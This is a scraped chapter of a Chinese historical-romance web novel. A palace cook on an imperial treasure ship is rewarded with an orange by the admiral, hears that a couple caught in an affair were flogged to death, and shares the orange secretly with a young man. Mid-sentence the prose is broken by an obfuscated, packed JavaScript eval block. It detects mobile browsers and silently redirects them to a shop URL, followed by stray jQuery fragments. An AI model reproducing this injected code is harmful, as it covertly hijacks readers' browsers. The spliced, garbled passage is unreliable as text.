55. 昔日戏言,今朝眼前。

作品:《生明月

    冬月初二,晨雾初散,太平港的海面上,千帆待发。


    二十六艘宝船居中,旌旗猎猎,威仪赫赫,战船前后护卫,马船粮船分列两翼,船队呈“雁阵”。


    秀秀缩在的“天润号”,长三十六丈,宽十三丈,七桅九帆,在宝舰中排最后一位。


    宝船分四层,麻雀虽小,五脏俱全。


    最底层的舱室里,压舱石稳镇其下,巨锅和水密隔舱依次排布。


    二层是船员舱,宽阔的通道两侧,排列着船员舱室,一侧是专职的水手和军籍护卫,另一侧,则是从皇京招募的各色人等,男女分区而居,另有厨房、粮仓、锅炉房和淡水舱,皆在于此。


    再往上,三层则清净肃穆许多,通道更宽,舱室更大,陈设讲究,此处是使团官员极其重要随员的居所。


    最顶层的官厅区,设议事厅、观景台,用以决议要事,观测星象、辨识航向或是举行典礼仪式。


    船上阶阶分明,等级森严,平日里,通往三层和顶层的楼梯口和廊道转角处,总有佩刀护卫把守。


    居于三层的最高长官是提督大人,另有几个随行副使。


    提督大人和诸位副使的一日三餐,乃是厨房里的头等差事,为此专设主副膳司。


    四勺顶着厨艺大赛魁首的名头,这主膳司掌勺的担子自然落到了他肩上,秀秀和其余几位皇京来的厨役皆被拨在他手下听用。


    而陈甫,身为厨艺大赛的榜眼,便要负责各位副官的日常膳食。两处各立门户,大多时候井水不犯河水,可在白案上,为了节省时间和用水,总不会分得太细。


    秀秀不免生疑,堂堂厨艺大赛的头两名,论理该去“天和号”上伺候总督才是,怎的反倒都留在“天润号”上了?


    四勺正片着鱼,他未抬头,应道:“许是上头觉着,咱们都是皇京来的,同出一脉,放在一处做事,彼此照应着方便。”


    秀秀眉眼稍微舒展开,颊边露出笑:“有道理,有师兄在,我心里踏实多了。”


    四勺耳根微热,不好意思地笑笑,继续片鱼。


    秀秀犹豫片刻,欲言又止,终究是未开口,忙起了手下活计。


    用过午饭后,杂役们正懒散收拾着碗碟灶台,秀秀与另外几个厨娘已经开始忙活起提督大人的晚饭。


    就在这有条不紊的忙碌中,一个穿着灰绿宦官服侍、面皮白净的小太监,悄无声息出现在了厨房门口。


    他年纪不大,身量未足,站在门槛外,并不踏入,只朝厨房里审视一圈,见无人注意到他,他轻咳一声。


    厨房里都忙活着,各类声响混杂,竟无人在意这细微动静。


    小太监皱了皱眉,又抬高声音,清晰地咳了两声。


    厨房里众人皆下意识朝门口看去,一看便如同被捏住了脖颈,霎时息声,慌忙放下手里的家伙什,齐刷刷低下了头。


    小太监抻着脖子问:“中午,提督大人的餐食,是谁负责的?”


    四勺闻言浑身一颤,强行定了定神,上前一步,躬身道:“回公公,是小人负责。”


    小太监睨了他一眼,接着又问:“那几样点心,芝麻酥,金丝蜜枣,还有......”他停下想了想,继续说,“还有杏仁糕,是谁做的?”


    四勺心中又是一惊,冷汗几乎要冒出来,他战战兢兢不敢回头,点心......是秀秀和另外两个丫头负责的细活。


    秀秀和另外两个小厨娘脚步虚浮地从人群里挪出来,在四勺身后一点的位置站定,头垂得更低了。


    小太监的目光在三人身上逡巡片刻,不紧不慢说道:“提督大人召见。你们三个,随我来罢。”


    “公公!”


    两声急呼几乎同时响起,陈甫与四勺异口同声喊了出来,但见四勺抢上前一步,挡在秀秀他们面前,慌张道:“小人......小人是掌勺的,餐食若有任何不妥,理该小人承担,还请公公明察!”


    这时,陈甫竟也站了出来,朝小太监规矩地颔首作揖:“公公,点心制作,主副司分工协作,若有纰漏,小人身为副膳司主管,亦难辞其咎。”


    小太监将二人乜一眼,不再多说,扭身便往走廊走去。


    秀秀和四勺对视一眼,又迅速睇一眼陈甫,她安慰身旁两个已经吓得发抖的厨娘:“别怕,副使那边未出问题,想来......不会有大麻烦。”


    三个人便匆匆跟上了小太监。


    到了通往三层的楼梯口,几人被勒令停下。


    两个面容严肃的婆子上前,仔仔细细给三人搜了身,连发髻和鞋袜都未放过,确认没有可疑之物后,才侧身让开。


    沿着楼梯向上,空气似乎都变得不同,一踏入三层,一阵淡淡熏香的气味扑面而来,通道宽阔,两侧舱门紧闭,偶有穿着体面的仆役朝小太监微微颔首,又悄声走过,一切与二层仿佛两个天地。


    最终,小太监把她们带到一间舱房前,将人交到另一个老太监手里,便退下。


    老太监眼神淡漠地看一眼,也不多话,推开了厚重舱门。


    舱房内布置得极为讲究,地面上铺着柔软的花纹薄毯,桌椅被擦拭得一尘不染,上面铺着锦垫。两扇宽阔舷窗正对无垠海面,室内明亮宽敞,处处透着雅致奢华。


    对面一体型肥硕的男子正半靠在一张宽大躺椅上,身上的青金石色的常服,衬得他面容极为白净红润,此刻,他正阖着眼假寐,手上摩挲着一枚白玉扳指。


    老太监低声禀报后,提督这才慢悠悠地抬起眼皮,目光落在了三个厨娘身上,视线缓缓移动,在每人低垂的脸上都多停留了片刻。


    “都起来罢,不必拘礼。”他声音不高,尖细嗓音刻意放缓,“今日叫你们来,没别的事,中午那几样点心,做得甚好,很是合本督的口味。”


    三人稍稍松了口气,但接着便又把心提上来,上位者突如其来的赞赏,总是比斥责更让人心惊胆战。


    只见提督露出一个堪称温和的笑,挥了挥肥白的手,屋里伺候的小太监立刻端上一个小漆盘,里面盛着几个金黄饱满的新鲜橘子。


    “你们手艺不错,心思也巧,该赏。”提督抬高语调,“一人一个,在这海上,新鲜果子可是稀罕物。”


    小太监将漆盘端到三人面前,三人各自拿起一个橘子。


    “还不谢谢大人。”老太监提点一声。


    “多谢提督大人。”三人齐齐行礼。


    “好了,下去罢。”提督似乎对她们的反应甚是满意,又重新阖上了眼,不再看她们。


    三个少女直到进了厨房,才又回魂,众人连忙聚上来问东问西。


    吵嚷之间,一阵清晰的嘈杂声浪从甲板处传来。


    厉声的呵斥,紧追着几声惨叫,穿透了层层舱壁,在安静的午后显得格外刺耳。


    厨房里登时安静下来,大家伙面面相觑。不多时,一个刚从外头回来的杂役,脸色发白,快步走了进来。


    “怎么了?外头出什么事了?”有人忍不住问道,声音压得低。


    那人喘了口气,眼神里还残留着惊悸,咽了口唾沫说:“不得了,抓着了!昨日夜里,船上有一对男女被抓着私通!”他刻意强调了“私通”二字,引得众人倒吸一口凉气。


    “真的假的?谁啊?”


    “哪里抓着的?”


    “怎么没听见消息?”


    ......


    提督大人的赏赐远不及男女私通来得有趣,七嘴八舌霎时忘了橘子,厨房里没有人再干活了。


    “说是就在二层靠尾的杂物舱里!黑灯瞎火的!”那人绘声绘色地描述,仿佛亲临现场,“听说巡夜的护卫听见动静不对,摸过去一看,好家伙!当场就摁住了,男的是个年轻力壮的水手,女的......”


    他故意拖长声音,吊起众人胃口,才神秘兮兮地说:“还真没听说是谁,口风紧得很!审了一夜,今儿个晌午,就在甲板上行杖责!”


    船舱外响起此起彼伏的惨叫与行刑钝响。


    “杖责?那可是要命的打法!”


    “嘿!方才我正好经过,远远瞧了几眼,没敢细看。一棍子下去,我衣裳都绽开了,回来路上,我听人提了一嘴,说上头有令:打完要是当场断了气,直接裹了沉海喂鱼;要是还剩一口气,直接拖去黑屋子关着,等船队返航后发落。”


    他说完又连连咂嘴摇头:“那轮棍子的汉子,胳膊比碗口还粗!最不缺的就是力气!我看,就算当时不死,能不能撑到回去......也难说哟!”


    秀秀默默把橘子放到案板上,慢慢低下头,想起什么,瘪了瘪嘴,不寒而栗。


    低声的议论嗡嗡挤满了厨房,从下午响到了晚上,直到晚上开饭,厨房里才从沉闷的杖责声里脱身。


    待晚饭拾掇停当,灶膛里的余烬也渐渐冷却,秀秀看着几个杂役围着一个大木盆,小心摆弄什么,她上前一看,原来是在发豆芽。


    船上新鲜的瓜果蔬菜不易储存,全都供给上层官员,底下大批的船员们累月吃不到绿叶子,便容易患上一种令人无力、牙龈出血、甚至皮肉溃烂的病症。


    而这看似不起眼的豆芽,却正能预防此种病症。


    如今虽已步入冬月,皇京应是寒风凛冽,可船队一路南下,海上气候温润,正是不冷不热的时候,恰恰是发豆芽的好时机。


    秀秀看着他们将一些饱满的豆子淘洗干净,均匀铺在了湿润粗布里,再盖上一层湿布,最后洒上清水。


    看着豆子都吸饱了水,大家才三三两两地散了,拖着身子回房休息。


    秀秀轻步迈出厨房,走廊里已是一片岑寂,她刚走了两三步,正到隔壁的锅炉房前,脚步骤然顿住。


    昏光氤氲的廊道里,周允正斜倚在舱壁上,双臂交叠,身影融进暗处,唯有一双眸子清亮如星,正一眨不眨地凝着她。


    自从上船以来,两人各自被森严的区隔规诫束缚起来,见面的时候屈指可数,数日未见,此刻在这幽暗寂静里乍然相撞,竟也生出一丝的拘谨。


    秀秀装作没有看见,加快


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915203|188039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了脚步。


    周允长腿一伸,拦在她身前:“几日不见,便不认识了?”


    秀秀猛地止步,抬头看他,语气有些生硬:“做什么?”


    周允站直身子,敛着眼皮打量她,声音低了几分:“累不累?”


    秀秀摇摇头。


    实话实话,在厨房里,有四勺这位亲师兄照拂,日子不算差。此处不比金鼎轩,她不必尽心尽力,偶尔偷偷懒,总归是省着力气做事。


    静了一瞬,她反问周允:“你怎在这儿?”


    “想见你。”他话说得直白。


    秀秀撇了撇嘴:“分明是你今晚要在锅炉房值夜。”


    周允弯起唇角,向前逼近一步:“看来没少向四勺打听我。”


    秀秀站在原地未动,别开了视线。


    她的确是从四勺口中得知的。四勺说,周允到了大离国,便要总揽巨锅诸事,但在航程之中,他主要负责修护铁具,兼在茶楼锅炉房轮值。


    锅炉房与厨房仅隔着一道厚重的隔热门和一条小廊道,偶尔趁进出时,她曾瞟见他的身影,却也仅限于此。


    此刻被他猜中,秀秀有些羞恼,只低声道:“值夜便好生值夜,出来作甚?仔细被人瞧见,又生事端!”


    下午的那对男女,可是都被活活杖毙。


    话音刚落,未等周允应答,厨房里匆匆跑了出一个小厨娘,口中念念有词,手里还拿着一个黄澄澄的橘子。


    一抬头,正与锅炉房前的二人打了个照面,她先是一愣,随即便恍然笑道:“秀秀,你兄长又来寻你了?”


    秀秀头皮一麻,眼睫倏然颤动不止,唇瓣微启,却觉此刻说什么皆是欲盖弥彰,终究无声,只朝小厨娘笑了笑,问:“晴儿,怎么还未回房歇息去?”


    晴儿心思单纯,扬了扬手里的橘子,道:“可不是么!白日里提督大人赏的橘子,我竟忘给落下了,特地赶回来取!”


    秀秀心念微动,顺势道:“你倒是给我提了个醒,看来我也得再折返一趟了。”


    晴儿贴心摆手,“快去罢快去罢,我先回房啦。”说罢便揣好橘子,脚步轻快地沿着走廊跑远了。


    秀秀目送她消失在拐角,这才悄悄松了肩膀,转身又回厨房。


    有人一步不落地跟在她身后。


    她推开虚掩的厨房门,清冷月光从舷窗流进来,灶台、案板上皆淌着一层银辉。


    “我何时又成你哥哥了?”周允的嗓音在她身后响起。


    “闭嘴。”秀秀低斥一声,借着月光熟稔地走到靠墙的小橱柜前,并未踮脚去够,反而低头从腰间小包里掏出来一个橘子。


    周允见状,眉梢轻挑,走到她跟前,身影几乎将她周身的月光掩尽,他又问:“今日见着提督了?”


    秀秀不答,握着橘子快步走到门口,先探出半截身子,警惕地左右张望一番,方才阖门回身,将他拉进橱柜后的狭窄角落里。


    此处月色不至,她摸黑剥开橘皮。


    “嗤”的一声轻响,清新冲鼻的柑橘香气爆裂迸开,将两人拢入其中。


    周允再问:“怎还赏了橘子?”


    秀秀依旧不语,只是把剥好的一半橘子递给他,虚着声道:“若不想被喂鱼,便安静些!”


    周允在黑暗中看她,借着单薄的微光,努力描绘起她的模样,又看向她掌心里的橘子,并未去接。


    秀秀等了片刻,又往前伸手送了送。


    “我手脏。”


    “去洗手。”


    “船上水珍贵,当惜着用。”


    秀秀眼珠往上一掠,将那半枚橘子直接递至他唇边。


    周允低低一笑,那气息拂过她的手指,然后,他顺从地俯首,就着她的手,将橘子一口含进口中。


    指尖擦到他的唇,秀秀倏地缩回手,自己也掰了一瓣橘子塞进口中,嚼了两下,酸甜盈颊。


    吃罢橘子,她便抬足欲走,没有留恋,利索地向前迈步。


    刚踏出一步,被周允一把扣住。


    秀秀尚未来得及反应,只见周允忙伸出一指,竖于唇前,面色肃然,做了个噤声的手势,“嘘”了一声。


    侧耳细听,舱外走廊里果然有脚步声渐近,被海浪波涛一扰,不甚分明。


    是民卫队。


    他们司职二层巡防,有权查验各处,肃整秩序。今日被杖毙的两人,正是被民卫队夜巡给拿了个现行。


    秀秀骤然心头一紧,轻轻退至橱柜后面,脊背贴上舱壁,一动也不敢动,屏住了呼吸。


    周允手臂微微使力,将她往身侧身带了带,一手环过她的肩头,将人揽住,把自己的背转向了门口。


    两人在阴影里静静相拥,秀秀被他护在怀中,心如擂鼓,身子仍不敢动弹,生怕做出什么动静。


    直到民卫队的脚步声由近及远。


    两个人的脸颊却由远及近,几乎要贴到一起,秀秀头往后仰,被他再追上,但闻耳畔落下一句温热含笑的低语:


    “哥哥在,不用怕。”